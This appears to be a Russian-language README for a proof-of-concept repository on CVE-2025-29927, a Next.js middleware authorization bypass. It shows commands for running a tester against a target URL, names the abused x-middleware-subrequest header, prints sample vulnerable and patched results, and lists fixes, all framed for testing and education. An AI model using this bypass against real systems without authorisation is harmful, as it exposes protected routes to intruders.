
Этот репозиторий содержит proof of concept (POC) и эксплойт-скрипт для CVE-2025-29927 — критической уязвимости в Next.js, которая позволяет злоумышленникам обходить проверки авторизации, реализованные в middleware.
В этом репозитории содержится proof of concept (POC) для CVE-2025-29927 — критической уязвимости в Next.js, которая позволяет злоумышленникам обходить проверки авторизации, реализованные в middleware.
Это Next.js-приложение демонстрирует уязвимость на примере защищённого маршрута дашборда.
npm install
npm run build
npm run start
Эксплойт-скрипт позволяет проверить любое Next.js-приложение на наличие этой уязвимости.
npm run exploit <target-url>
npm run exploit http://localhost:3000/dashboard
Инструмент эксплойта:
x-middleware-subrequest=== Next.js CVE-2025-29927 Middleware Bypass Tester ===
Target: http://localhost:3000/dashboard
Testing vulnerability...
Normal request status: 307
Bypass request status: 200
⚠️ VULNERABLE
The route is protected but accessible with the bypass header
Готовая реализация исправления доступна в ветке how-to-fix.
Обновите версию Next.js (рекомендуется)
Реализуйте дополнительную проверку
=== Next.js CVE-2025-29927 Middleware Bypass Tester ===
Target: http://localhost:3000/dashboard
Testing vulnerability...
Making request without bypass header...
Making request with bypass header...
Normal request status: 307
Bypass request status: 307
✓ NOT VULNERABLE - Protected Route
The route is protected and the bypass attempt was unsuccessful
Normal request redirected to: /
Bypass request redirected to: /
Next.js использует внутренний заголовок x-middleware-subrequest для предотвращения рекурсивных запросов. Эта уязвимость позволяет злоумышленникам обходить проверки безопасности middleware путём манипуляции этим заголовком.
Хотите пойти дальше? Эта CVE реализована в качестве флага в OSS OopsSec Store — специально уязвимой лаборатории, предназначенной для обучения атакующим техникам.
👉 Попробуйте задание здесь → kOaDT/oss-oopssec-store
Этот инструмент предоставляется только в образовательных и тестовых целях. Используйте этот инструмент только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.